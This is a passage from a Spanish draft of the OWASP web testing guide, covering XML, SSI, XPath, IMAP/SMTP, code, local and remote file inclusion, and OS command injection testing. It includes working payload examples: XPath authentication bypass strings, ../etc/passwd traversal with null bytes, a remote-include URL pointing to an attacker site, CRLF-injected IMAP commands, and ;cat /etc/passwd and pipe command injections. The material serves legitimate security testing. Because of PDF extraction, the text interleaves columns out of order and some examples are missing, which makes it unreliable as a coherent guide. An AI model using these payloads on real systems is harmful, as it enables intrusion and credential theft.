Ejemplo: Información guardada por email en index2.php Asegúrese de que el ingreso de datos es enviado a través de la aplicación. Normalmente esto implica deshabilitar JavaScript si se implementan controles de seguridad del lado del cliente o modificar la solicitud HTTP con un proxy web como WebScarab. También es importante comprobar la misma inyección con peticiones HTTP GET y POST. Los resultados anteriores de la inyección, en una ventana emergente que contiene los valores de la cookie.

Resultado esperado:

El código HTML de index2.php donde los valores del email se ubican:



type=”text”

name=”email”

size=”40” El código HTML posterior a la inyección:

En este caso, el evaluador necesita encontrar una manera de inyectar el código fuera de la etiqueta así como:

MALICIOUS CODE - Esta secuencia de caracteres se interpreta como el inicio/final de un comentario. Así que al inyectar uno de ellos en el parámetro de nombre de usuario:

Username = foo0[email protected] Herramientas • XML Injection Fuzz Strings (from wfuzz tool) https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt En este caso la base de datos XML final es:



Referencias



Libros Blancos gandalf !c3

• Alex Stamos: “Attacking Web Services” http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_StamosAttacking_Web_Services.ppt • Gregory Steuck, “XXE (Xml eXternal http://www.securityfocus.com/archive/1/297714

Entity)

-

attack”,

0 [email protected] Pruebas de inyección de SSI (OTG-INPVAL-009) Resumen Stefan0 w1s3c 500 [email protected]

Los servidores web suelen dar a los desarrolladores la posibilidad de añadir pequeñas piezas de código dinámico dentro de páginas HTML estáticas, sin tener que lidiar con todos los derechos de los lenguajes del servidor o del cliente. Esta característica es encarnada cuando el servidor incluye (SSI). En la prueba de inyección SSI, probamos si es posible inyectar en los datos de la aplicación que serán interpretados por mecanismos del SSI. Una explotación exitosa de esta vulnerabilidad permite a un atacante inyectar código en páginas HTML o incluso realizar ejecución remota de códigos.



tony Un6R34kb!e 500

Server-Side Includes son directivas que el servidor web analiza antes de servir la página al usuario. Representan una alternativa para escribir programas CGI o incrustar código utilizando lenguajes de scripting del lado del servidor, cuando sólo hay que realizar tareas muy simples. Las implementaciones comunes de SSI proporcionan comandos para incluir archivos externos, configurar e imprimir las variables del entorno CGI del servidor web y ejecutar scripts CGI externos o comandos del sistema.

->0[email protected]

Poner una directiva SSI en un documento HTML estático es tan fácil como escribir un pedazo de código como el siguiente:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 214

Guia de pruebas 4.0 "Borrador"



para imprimir la hora actual,



para incluir el resultado de un script CGI.

vulnerabilidades de inyección SSI son, a menudo, más faciles de explotar, puesto que las directivas SSI son fáciles de entender y, al mismo tiempo, bastante potentes, por ejemplo, se puede obtener el contenido de los archivos y ejecutar comandos del sistema.

Cómo probar Pruebas de Caja Negra La primera cosa que se debe hacer cuando se prueba mediante la técnica de Caja Negra, es encontrar si el servidor web admite realmente directivas SSI. A menudo, la respuesta es sí, ya que el soporte de SSI es bastante común. Para saberlo sólo necesitamos descubrir qué tipo de servidor web se ejecuta en nuestro objetivo, utilizando técnicas de recopilación de información clásica.



para incluir el contenido de un archivo o lista de archivos en un directorio,



para incluir el resultado de un comando del sistema.

Entonces, si el soporte de SSI del servidor web está habilitado, el servidor analizará estas directivas. En la configuración predeterminada, por lo general, la mayoría de servidores web no permiten el uso de la directiva exec para ejecutar comandos del sistema.

Como en toda situación de una mala validación de entrada, los problemas surgen cuando el usuario de una aplicación web puede proporcionar datos que hacen que la aplicación o el servidor web se comporten de manera imprevista. Con respecto a la inyección SSI, el atacante podría aportar datos que, si son ingresados por la aplicación (o tal vez directamente por el servidor) en una página generada dinámicamente, se puede analizar como una o más directivas SSI.

Se trata de una vulnerabilidad muy similar a una vulnerabilidad de inyección clásica de lenguaje para script. Una mitigación es que el servidor web debe configurarse para permitir SSI. Por otro lado, las

Si tenemos éxito o no en el descubrimiento de esta pieza de información, podríamos adivinar si el SSI es compatible solo con mirar el contenido del sitio web de destino. Si contiene archivos .shtml, entonces el SSI es probablemente compatible, ya que esta extensión se utiliza para identificar las páginas que contienen estas directivas. Desafortunadamente, el uso de la extensión shtml no es obligatoria, así que si no se ha encontrado ningún archivo shtml, no significa necesariamente que el objetivo no es propenso a ataques de inyección SSI.

El siguiente paso consiste en determinar si un ataque de inyección SSI es posible y, si es así, cuáles son los puntos de entrada que podemos utilizar para inyectar el código malicioso.

La actividad de prueba necesaria para hacer esto es exactamente la misma que utilizó para probar otras vulnerabilidades de inyección de código. En particular, tenemos que encontrar cada página donde el usuario puede ingresar algún tipo de datos, y comprobar si la aplicación está validando correctamente esos datos enviados. Si la desinfección es insuficiente, tenemos que probar si podemos proporcionar datos que van a mostrarse sin modificarse (por ejemplo, en un mensaje de error o una publicación en un foro). Además de los datos suministrados por el usuario común, los vectores de entrada que deben ser considerados siempre son los contenidos de encabezados de solicitudes y cookies HTTP, ya que pueden ser fácilmente falsificados.

Una vez que tenemos una lista de potenciales puntos de inyección, podemos comprobar si los datos se validan correctamente y luego averiguar dónde se almacenan los datos proporcionados. Tenemos que asegurarnos que podemos inyectar los caracteres utilizados en las directivas SSI:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 215

Guia de pruebas 4.0 "Borrador"

< ! # = / . “ - > and [a-zA-Z0-9]

Para comprobar si la validación es insuficiente, podemos ingresar, por ejemplo, una cadena como la siguiente en un formulario de entrada:

Si tenemos acceso al código fuente de la aplicación, fácilmente podemos averiguar:

[1] Si se usan directivas SSI, el servidor web va a tener el soporte SSI activo. Hacer una inyección de SSI es, por lo menos, un problema potencial que debe investigarse. [2] Donde se manejan los datos ingresados por el usuario, el contenido de las cookies y los encabezados HTTP. La lista completa de vectores de entrada puede determinarse rápidamente.



Esto es similar a las pruebas de vulnerabilidad XSS utilizando

[3] Cómo se manejan los datos ingresados, qué tipo de filtro se realiza, qué caracteres no permiten pasar la aplicación y cuántos tipos de codificación se consideran.

Al dar estos pasos se trata, más que nada, de utilizar grep para encontrar las palabras clave correctas dentro del código fuente (directivas SSI, variables del entorno CGI, asignación de variables que implican ingreso de datos del usuario, las funciones de filtro y demás).

<script>alert(“XSS”)

Herramientas • Web Proxy Burp Suite: portswigger.net Si la aplicación es vulnerable, la directiva se inyecta y será interpretada por el servidor la próxima vez que se utilice la página, así como el contenido del archivo de contraseñas estándar de Unix.

• Paros: parosproxy.org • OWASP WebScarab • String searcher: grep: gnu.org

La inyección puede realizarse también en los encabezados HTTP, si la aplicación web va a utilizar esos datos para construir una página generada dinámicamente:

Referencias Libros Blancos

GET / HTTP/1.0 Referer: User-Agent:

• Apache Tutorial: “Introduction to Server Side Includes”: apache.org • Apache: “Module mod_include”: apache.org • Apache: “Security Tips for Server Configuration”: apache.org • Header Based Exploitation: cgisecurity.net • SSI Injection instead jeremiahgrossman.blogspot.com

of

JavaScript

Malware:

• IIS: “Notes on Server-Side Includes (SSI) syntax”: blogs.iis.net Pruebas de Caja Gris Pruebas de inyección de XPath (OTG-INPVAL-010)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 216

Guia de pruebas 4.0 "Borrador"

Resumen XPath es un lenguaje que ha sido diseñado y desarrollado, sobre todo, para dirigirse a las piezas de un documento XML. En la prueba de inyección XPath, probamos si es posible inyectar la sintaxis de XPath en una solicitud interpretada por la aplicación, permitiendo a un atacante ejecutar consultas XPath controladas por el usuario. Cuando se explota con éxito, esta vulnerabilidad podría permitir a un atacante eludir mecanismos de autenticación o información sin la debida autorización.



gandalf !c3 admin

Las aplicaciones web utilizan constantemente bases de datos para almacenar y acceder a los datos que necesitan para sus operaciones. Históricamente, las bases de datos relacionales han sido, en gran medida, la tecnología más común para el almacenamiento de datos, pero, en los últimos años, hemos sido testigos de una creciente popularidad de las bases de datos que organizan los datos mediante el lenguaje XML.



Stefan0 w1s3c guest

Tal como las bases de datos relacionales se acceden a través del lenguaje SQL, las bases de datos XML utilizan XPath como su lenguaje de consulta estándar.

tony

Ya que, desde un punto de vista conceptual, XPath es muy similar a SQL en sus propósitos y usos, un resultado interesante es que los ataques de inyección XPath siguen la misma lógica que los ataques de inyección SQL. En algunos aspectos, XPath es incluso más poderoso que el SQL estándar, ya que todo su poder está ya presente en sus especificaciones, mientras que un gran número de técnicas que pueden utilizarse en un ataque de inyección SQL depende de las características del dialecto SQL usado por la base de datos de destino.

Esto significa que los ataques de inyección XPath pueden ser mucho más adaptables y ubicuos. Otra de las ventajas de un ataque de inyección XPath es que, a diferencia del SQL, no se aplica ningún ACL ya que nuestra consulta puede acceder a todas las partes del documento XML.

Cómo probar El patrón de ataque XPath fue publicado por primera vez por Amit Klein [1] y es muy similar a la habitual inyección de SQL. Para obtener una primera comprensión del problema, imaginemos una página de inicio de sesión que gestiona la autenticación para una aplicación en la que el usuario debe introducir su nombre de usuario y contraseña.

Un6R34kb!e

Una consulta XPath que devuelve la cuenta cuyo username es "gandalf" y la contraseña es "! c3" sería la siguiente:

string(//user[username/text()=’gandalf’ password/text()=’!c3’]/account/text())

and

Si la aplicación no filtra correctamente los datos introducidos por el usuario, el evaluador será capaz de inyectar código XPath e interferir en el resultado de la consulta. Por ejemplo, el evaluador podría introducir los siguientes valores: Username: ‘ or ‘1’ = ‘1 Password: ‘ or ‘1’ = ‘1

Supongamos que nuestra base de datos está representada por el siguiente archivo XML:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 217

Guia de pruebas 4.0 "Borrador"

Se ve bastante familiar, ¿no? Utilizando estos parámetros, la consulta se convierte en:

string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/text()=’’ or ‘1’ = ‘1’]/account/text())

Como en un ataque de inyección SQL común, hemos creado una consulta que siempre se evalúa como verdadera, lo que significa que la aplicación autenticará al usuario incluso si no ha proporcionado un nombre de usuario o una contraseña.

La técnica de inyección IMAP/SMTP es más eficaz si el servidor de correo no es directamente accesible desde el Internet. Donde una comunicación completa con el servidor de correo de acceso restringido sea posible, se recomienda realizar pruebas directas.

Una inyección IMAP/SMTP permite acceder a un servidor de correo que, de otra manera, no sería directamente accesible desde Internet. En algunos casos, estos sistemas internos no tienen el mismo nivel de seguridad y rigurosidad en la infraestructura que se aplica a los servidores web de acceso frontal. Por lo tanto, los resultados de los servidores de correo pueden ser más vulnerables a ataques por parte de usuarios finales (vea el esquema presentado a continuación).

Y como en un ataque de inyección SQL comun, con la inyección XPath, el primer paso es insertar una comilla sencilla (') en el campo que vamos a probar, introducir un error de sintaxis en la consulta y así comprobar si la aplicación devuelve un mensaje de error.

Si no hay ningún conocimiento acerca de los detalles internos de datos XML, y si la aplicación no proporciona mensajes de error útiles que nos ayuden a la reconstrucción de su lógica interna, es posible realizar un ataque de inyección ciega de XPath, cuyo objetivo es reconstruir toda la estructura de datos. La técnica es similar a la inyección de SQL basada en la inferencia, ya que el método consiste en inyectar el código que crea una consulta que devuelve un bit de información. La inyección ciega de XPath se explica más detalladamente por Amit Klein en el documento de referencia.

Referencias Libros Blancos • Amit Klein: “Blind XPath Injection”: packetstorm.foofus.com • XPath 1.0 specifications: w3.org

Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011) Resumen Esta amenaza afecta a todas las aplicaciones que se comunican con servidores de correo (IMAP/SMTP), generalmente aplicaciones de webmail. El objetivo de esta prueba es verificar la capacidad de inyectar comandos IMAP/SMTP arbitrarios en los servidores de correo, debido a que el ingreso de datos no está correctamente desinfectado.

La figura 1 muestra el flujo de tráfico visto generalmente al utilizar tecnologías de webmail. Los pasos 1 y 2 son el usuario interactuando con el cliente de correo web, mientras que el paso 3 es el evaluador evadiendo al cliente webmail e interactuando directamente con los servidores de correo de acceso restringido (back-end).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 218

Guia de pruebas 4.0 "Borrador"

Esta técnica permite una amplia variedad de acciones y ataques. Las posibilidades dependen del tipo y ámbito de la inyección y la tecnología del servidor de correo que se está probando.

Algunos ejemplos de ataques con la técnica de inyección IMAP/SMTP son: • Explotación de vulnerabilidades en el protocolo IMAP/SMTP. • Evasión de restricciones de la aplicación. • Evasión del proceso anti-automatización. • Fugas de información • Relevo/SPAM

Cómo probar

En este ejemplo, el parámetro de "mailbox" se prueba manipulando todas las solicitudes con el parámetro siguiente:

Los patrones estandar de ataque son: • Identificación der los parámetros vulnerables.

http:///src/read_body.php?mailbox=INBOX&passed_id=46 106&startMessage=1

• Entendimiento del flujo de información y estructura de despliegue del cliente. • Inyección de comandos IMAP/SMTP. Los siguientes ejemplos pueden usarse: Identifique los parámetros vulnerables Para poder detectar los parámetros vulnerables, el evaluador tiene que analizar la capacidad de la aplicación en el manejo de datos de entrada. Las pruebas de validación de ingreso de datos requieren que el evaluador envíe solicitudes falsas o maliciosas al servidor y analice la respuesta. En una aplicación segura, la respuesta debe ser un error con alguna acción correspondiente que le indica al cliente que algo ha salido mal. En una aplicación vulnerable, la solicitud podría ser procesada por la aplicación de acceso restringido que responderá con un mensaje de respuesta "HTTP 200 OK".

Es importante tener en cuenta que las solicitudes enviadas deben coincidir con la tecnología que se está probando. Enviar cadenas de inyección SQL para Microsoft SQL server cuando se utiliza un servidor MySQL dará como resultado falsos positivos. En este caso, enviar comandos IMAP maliciosos es el modus operandi ya que IMAP es el protocolo subyacente que se está probando.

Los parámetros especiales de IMAP que se deben utilizar son:

• Asigne un valor null al parametro:

http:///src/read_body.php?mailbox=&passed_id=46106&st artMessage=1

• Sustituya el valor con uno aleatorio:

http:///src/read_body.php?mailbox=NOTEXIST&passed_i d=46106&startMessage=1

• Añada otros valores al parámetro:

http:///src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1

• Añada caracteres especiales no éstandar (i.e.: \, ‘, “, @, #, !, |):

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 219

Guia de pruebas 4.0 "Borrador"

http:///src/read_body.php?mailbox=INBOX”&passed_id=4 6106&startMessage=1

http:///src/view_header.php?mailbox=INBOX%22&passed _id=46105&passed_ent_id=0

• Elimine el parámetro:

http:///src/read_body.php?passed_id=46106&startMessage =1

En este caso, la respuesta de la aplicación podría ser:

ERROR: Bad or malformed request. uery: SELECT “INBOX”” El resultado final de la prueba anterior da al evaluador tres situaciones posibles:

S1 - La aplicación devuelve un código/mensaje de error.

Server responded: Unexpected extra arguments to Select

La situación S2 es más difícil de probar con éxito. El probador debe usar inyección ciega de comandos para determinar si el servidor es vulnerable.

S2 - La aplicación no devuelve un código/mensaje de error, pero no realiza la operación solicitada. S3 - La aplicación no devuelve un código/mensaje de error, y realiza la operación solicitada normalmente.

Por otro lado, la última situación (S3) no es relevante en esta sección.

Resultado esperado: Las situaciones S1 y S2 representan una inyección IMAP/SMTP exitosa. • Lista de parámetros vulnerables. El objetivo de un atacante es recibir la respuesta de S1, ya que es un indicador de que la aplicación es vulnerable a la inyección y posterior manipulación.

• Funcionalidad afectada.

Supongamos que un usuario recupera los encabezados de correo electrónico al usar la siguiente solicitud HTTP:

Entienda la estructura de flujo y despliegue de datos del cliente

http:///src/view_header.php?mailbox=INBOX&passed_id= 46105&passed_ent_id=0

Un atacante podría modificar el valor del parámetro INBOX al inyectar el carácter “ (%22 usando codificación URL):

• Tipo de inyección posible (IMAP/SMTP).

Después de identificar todos los parámetros vulnerables (por ejemplo, "passed_id"), el evaluador necesita determinar qué nivel de inyección es posible y luego diseñar un plan de prueba para explotar aún más la aplicación.

En este caso de prueba, hemos detectado que el parámetro de la aplicación "passed_id" es vulnerable y se utiliza en la siguiente petición:

http:///src/read_body.php?mailbox=INBOX&passed_id=46 225&startMessage=1

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 220

Guia de pruebas 4.0 "Borrador"

Inyección de comandos IMAP/SMTP Al utilizar el siguiente caso de prueba (cuando proporciona un valor alfabético y se requiere un valor numérico):

Una vez que el evaluador ha identificado los parámetros vulnerables y ha analizado el contexto en el que se ejecutan, la siguiente etapa es explotar la funcionalidad.

http:///src/read_body.php?mailbox=INBOX&passed_id=te st&startMessage=1 Esta etapa tiene dos posibles resultados:

generará el siguiente mensaje de error:

ERROR : Bad or malformed request. Query: FETCH test:test BODY[HEADER]

En este ejemplo, el mensaje de error devolvió el nombre del comando ejecutado y los parámetros correspondientes.

[1] La inyección es posible en un estado no autenticado: la funcionalidad afectada no requiere autenticar al usuario. Los comandos (IMAP) inyectados disponibles están limitados a: CAPABILITY, NOOP, AUTHENTICATE, LOGIN y LOGOUT. [2] La inyección sólo es posible en un estado autenticado: la explotación exitosa requiere que el usuario esté plenamente autenticado antes de que la prueba pueda continuar.

En cualquier caso, la estructura típica de una inyección IMAP/SMTP es la siguiente:

• Encabezado: finalización del comando esperado; En otras situaciones, el mensaje de error ( "not controlled", no controlado por la aplicación) contiene el nombre del comando ejecutado, pero leer el RFC adecuado (vea la sección de "Referencia") le permitirá al evaluador entender qué otros comandos pueden ser ejecutados.

Si la aplicación no devuelve mensajes de error descriptivos, el probador debe analizar la funcionalidad afectada para deducir todos los posibles comandos (y parámetros) asociados con las funciones mencionadas.

Por ejemplo, si un parámetro vulnerable ha sido detectado en la funcionalidad de crear un buzón de correo, es lógico asumir que el comando IMAP afectado es "CREATE". Según el RFC, el comando CREATE acepta un parámetro que especifica el nombre del buzón a crear.

• Cuerpo: inyección del nuevo comando; • Pie: inicio del comando esperado.

Es importante recordar que, para ejecutar un comando IMAP/SMTP, el comando anterior debe terminar con la secuencia CRLF (0%d%0a).

Supongamos que en la etapa 1 ("Identificando parámetros vulnerables"), el atacante detecta que el parámetro "message_id" en la siguiente petición es vulnerable:

http:///read_email.php?message_id=4791

Resultado esperado:

• Listado de los comandos afectados de IMAP/SMTP. • Tipo, valor y número de los parámetros esperados por los comandos IMAP/SMTP afectados.

Supongamos también que el resultado del análisis realizado en la etapa 2 ("Entendiendo la estructura de flujo y despliegue de datos del cliente") ha identificado el comando y los argumentos asociados con este parámetro como:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 221

Guia de pruebas 4.0 "Borrador"

http://www.webappsec.org/projects/articles/121106.pdf FETCH 4791 BODY[HEADER]

Pruebas de inyección de código (OTG-INPVAL-012) Resumen En este escenario, la estructura de inyección IMAP sería: Esta sección describe cómo un evaluador puede comprobar si es posible introducir código en una página web y ejecutarlo con el servidor web. http:///read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791

Lo que generaría los siguientes comandos:

En la prueba de inyección de código, un evaluador envía información que es procesada por el servidor web como código dinámico o como un archivo incluido. Estas pruebas pueden dirigirse a varios motores de secuencias de scripting del servidor, como ASP o PHP. Una correcta validación de la entrada y prácticas de codificación seguras deben emplearse para protegerse de estos ataques.

???? FETCH 4791 BODY[HEADER] V100 CAPABILITY V101 FETCH 4791 BODY[HEADER]

Cómo probar Pruebas de Caja Negra Pruebe las vulnerabilidades de inyección PHP

Donde:

Utilizando la cadena de consulta, el evaluador puede inyectar códigos (en este ejemplo, una URL maliciosa) para ser procesados como parte del archivo incluido:

Header = 4791 BODY[HEADER] Body = %0d%0aV100 CAPABILITY%0d%0a

Resultado esperado:

Footer = V101 FETCH 4791

http://www.example.com/uptime.php?pin=http://www.example2.com/ packx1/cs.jpg?&cmd=uname%20-a

Resultado esperado: • Inyección arbitraria de comandos IMAP/SMTP

La URL es aceptada como un parámetro de la página PHP, que más tarde utilizará el valor en un archivo incluido.

Referencias Libros Blancos

Pruebas de Caja Gris

• RFC 0821 “http://www.ietf.org/rfc/rfc0821.txt”.

Pruebe las vulnerabilidades de inyección ASP

• RFC 3501 “http://www.ietf.org/rfc/rfc3501.txt”.

Examine el código ASP en busca de información ingresada por el usuario en funciones de ejecución. ¿ El usuario puede ingresar los comandos en el campo de entrada de datos? Aquí, el código ASP almacena la información en un archivo y luego lo ejecuta:

• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers” -

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 222

Guia de pruebas 4.0 "Borrador"

• Reviewing Code for OS Injection

<% If not isEmpty(Request( “Data” ) ) Then

Dim fso, f ‘User input Data is written to a file named data.txt Set fso = CreateObject(“Scripting.FileSystemObject”) Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)

Pruebas para determinar la inclusión de documentos locales Resumen La vulnerabilidad de inclusión de documentos permite al atacante incluir un documento, normalmente explotando un mecanismo de “inclusión de documento dinámica” implementado en la aplicación objetivo. La vulnerabilidad ocurre debido al uso de datos ingresados por el usuario sin una apropiada validación.

f.Write Request(“Data”) & vbCrLf f.close

Esto puede conducir a algo como mostrar el contenido del archivo, pero dependiendo de la gravedad, también puede llevar a:

Set f = nothing Set fso = Nothing

‘Data.txt is executed

• Ejecución de código en el servidor web. • Ejecución de código en el lado del cliente como JavaScript que puede conducir a otros ataques tales como cross site scripting (XSS). • Negación de servicio (DoS). • Despliegue de información sensible.

Else %> <%

La inclusión de archivos locales (también conocida como LFI) es el proceso de incluir archivos, que ya están presentes localmente en el servidor, a través de la explotación de las vulnerabilidades en los procedimientos de inserción implementados en la aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una página recibe, como datos, la ruta del archivo que debe estar incluida y este dato no ha sido correctamente desinfectado, permitiendo que caracteres de salto de directorio (como dot-dot-slash) sean inyectados. Aunque la mayoría de ejemplos apuntan a scripts PHP vulnerables, debemos tener en cuenta que también es común en tecnologías como JSP, ASP y otras.

End If %>))) Cómo probar

Referencias

Cómo la LFI ocurre cuando los caminos para "incluir" declaraciones no se desinfectan correctamente, en un enfoque de pruebas de Caja Negra, debemos buscar scripts que tomen los nombres de archivos como parámetros.

• Security Focus - http://www.securityfocus.com • Insecure.org - http://www.insecure.org

Considere el siguiente ejemplo:

• Wikipedia - http://www.wikipedia.org

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 223

Guia de pruebas 4.0 "Borrador"

http://vulnerable_host/preview.php?file=example.html

http://vulnerable_host/preview.php?file=../../../../etc/passwd%00

Este caso parece el lugar perfecto para buscar LFI. Si un atacante tiene suficiente suerte, y en vez de seleccionar la página apropiada de la matriz por su nombre, la secuencia de comandos incluye directamente el parámetro de entrada, es posible incluir archivos arbitrarios en el servidor.

Referencias

La típica prueba del concepto sería cargar el archivo passwd:

Remediación

http://vulnerable_host/preview.php?file=../../../../etc/passwd

• Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion • Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion

La solución más eficaz para eliminar las vulnerabilidades de inclusión de archivo es evitar pasar datos ingresados por el usuario a cualquier filesystem/framework API. Si esto no es posible, la aplicación puede mantener una lista blanca de archivos que pueden ser incluidos por la página y luego utilizar un identificador (por ejemplo, el número de índice) para tener acceso al archivo seleccionado.

Si se cumplen las condiciones mencionadas, un atacante vería algo como lo siguiente:

root:x:0:0:root:/root:/bin/bash

Cualquier solicitud que contenga un identificador inválido será rechazada; de esta manera, no hay ninguna superficie de ataque para que usuarios malintencionados puedan manipular la ruta.

bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin alex:x:500:500:alex:/home/alex:/bin/bash margo:x:501:501::/home/margo:/bin/bash

... Muy a menudo, incluso cuando existe dicha vulnerabilidad, su explotación es un poco más compleja. Considere el siguiente fragmento del código:

Pruebas para la inclusión remota de archivos Resumen La vulnerabilidad de inclusión de archivos permite que un atacante incluya un archivo, generalmente, aprovechando un mecanismo de "inclusión dinámica de archivos" implementado en la aplicación de destino. La vulnerabilidad se produce debido al uso de datos suministrados por el usuario sin una validación adecuada.

Esto puede llevar a que se muestre el contenido del archivo, pero dependiendo de la gravedad, también puede llevar a:

En el caso de la sustitución simple con nombres de archivo arbitrarios no funcionaría, ya que se añade el sufijo 'php'. Para evitarlo, se utiliza una técnica con terminadores null bytes. Cómo %00 representa efectivamente el final de la cadena, se ignorará cualquier carácter después de este byte especial. La siguiente solicitud también devolverá una lista de atacante de los atributos básicos de los usuarios:

• Ejecución de código en el servidor web. • Ejecución de código en el lado del cliente como JavaScript que nos llevaría a otros ataques tales como cross site scripting (XSS). • Negación de servicio (DoS). • Publicación de información sensitiva.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 224

Guia de pruebas 4.0 "Borrador"

Remediación La inclusión remota de archivos (también conocida como RFI) es el proceso de incluir archivos remotos a través de la explotación de las vulnerabilidades en los procedimientos de inserción implementados en la aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una página recibecomo datos, la ruta del archivo que debe estar incluida y este dato no ha sido correctamente desinfectado, permitiendo que una URL externa se inyecte. Aunque la mayoría de ejemplos apuntan a scripts PHP vulnerables, debemos tener en cuenta que también es común en tecnologías como JSP, ASP y otras.

La solución más eficaz para eliminar las vulnerabilidades de inclusión de archivo es evitar pasar datos enviados por el usuario a cualquier filesystem/framework API. Si esto no es posible, la aplicación puede mantener una lista blanca de archivos que pueden ser incluidos por la página y luego utilizar un identificador (por ejemplo, el número de índice) para tener acceso al archivo seleccionado. Cualquier solicitud que contenga un identificador inválido será rechazada, de esta manera no hay ninguna superficie de ataque para que usuarios malintencionados puedan manipular la ruta.

Cómo probar

Pruebas de inyección de comandos (OTG-INPVAL-013)

Puesto que la RFI ocurre cuando las rutas para "incluir" declaraciones no están correctamente desinfectadas, en un enfoque de pruebas de Caja Negra debemos buscar scripts que tomen los nombres de archivos como parámetros. Considere el siguiente ejemplo PHP:

Resumen Este artículo describe cómo probar una aplicación en busca de inyección de comandos del sistema operativo. El evaluador intentará inyectar un comando de sistema operativo a través de una solicitud HTTP a la aplicación.

$incfile = $_RE UEST[“file”]; include($incfile.”.php”);

En este ejemplo la ruta de acceso se extrae de la solicitud HTTP y no se realiza una validación de datos ingresados (por ejemplo, comprobando el ingreso contra una lista blanca), así que este fragmento de código resulta vulnerable a este tipo de ataque. Considere de hecho la siguiente URL:

La Inyección de comandos del sistema operativo es una técnica utilizada a través de una interfaz web para ejecutar comandos del sistema operativo en un servidor web. El usuario provee comandos del sistema operativo a través de una interfaz web para ejecutar comandos del sistema operativo. Cualquier interfaz que no esté correctamente desinfectada está sujeta a esta debilidad. Con la habilidad de ejecutar comandos en el sistema operativo, el usuario puede subir programas maliciosos o incluso obtener contraseñas. La inyección de comandos del sistema operativo es prevenible cuando la seguridad se acentúa durante el diseño y desarrollo de las aplicaciones.

Cómo probar

http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicou s_page

En este caso el archivo remoto va a ser incluido y cualquier código que contenga se ejecutara en el servidor.

Al observar un archivo en una aplicación web, el nombre del archivo a menudo se muestra en la URL. Perl permite canalizar datos de un proceso hacia una instrucción abierta. El usuario simplemente puede añadir el símbolo Pipe "|" en el final del nombre del archivo.

Ejemplo de las URL antes de ser alteradas:

http://sensitive/cgi-bin/userData.pl?doc=user1.txt Referencias Libros Blancos • “Remote File Inclusion”: projects.webappsec.org

Ejemplo de la URL modificada:

• Wikipedia: “Remote File Inclusion”: en.wikipedia.org http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 225

Guia de pruebas 4.0 "Borrador"

POST http://www.example.com/public/doc HTTP/1.1 Esto ejecutará el comando “/bin/ls”.

Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0

Añadiendo un punto y coma al final de una URL para una. página PHP seguida de un comando del sistema operativo, ejecutará el comando. % 3B que está codificado para url y se decodifica como punto y coma.

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Ejemplo: http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300

Ejemplo

Proxy-Connection: keep-alive

Consideremos el caso de una aplicación que contiene un conjunto de documentos que pueden navegarse en Internet. Si usted enciende WebScarab, puede obtener un HTTP POST como el siguiente:

Referer: http://127.0.0.1/WebGoat/attack?Screen=20

Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e=

POST http://www.example.com/public/doc HTTP/1.1

Content-Type: application/x-www-form-urlencoded Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8 ,image/png,*/*;q=0.5

Content-length: 33

Si la aplicación no validase la solicitud, podemos obtener el siguiente resultado:

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33

En la solicitud post, vemos cómo la aplicación recupera la documentación pública. Ahora podemos probar si es posible agregar un comando del sistema operativo para inyectar en el HTTP POST. Haga lo siguiente:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 226

Guia de pruebas 4.0 "Borrador"

Exec Results for ‘cmd.exe /c type “C:\httpd\public\doc\”Doc=Doc1.pdf+|+Dir c:\’ Output...

Referencias Libros Blancos

Il volume nell’unità C non ha etichetta.

• securityfocus.com

Numero di serie Del volume: 8E3F-4B61 Directory of c:\ Remediación 18/10/2006 00:27 2,675 Dir_Prog.txt Desinfección 18/10/2006 00:28 3,887 Dir_ProgFile.txt

16/11/2006 10:43 Doc 11/11/2006 17:25 Documents and Settings

